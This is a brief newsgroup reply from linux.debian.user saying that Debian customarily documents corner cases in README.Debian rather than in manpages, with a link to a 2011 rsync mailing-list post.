In Debian it's customary to document cornercases in README.Debian, not in manpage.

Reco

[1] https://lists.samba.org/archive/rsync/2011-February/026039.html

[toc] | [prev] | [standalone]

Back to top | Article view | linux.debian.user

csiph-web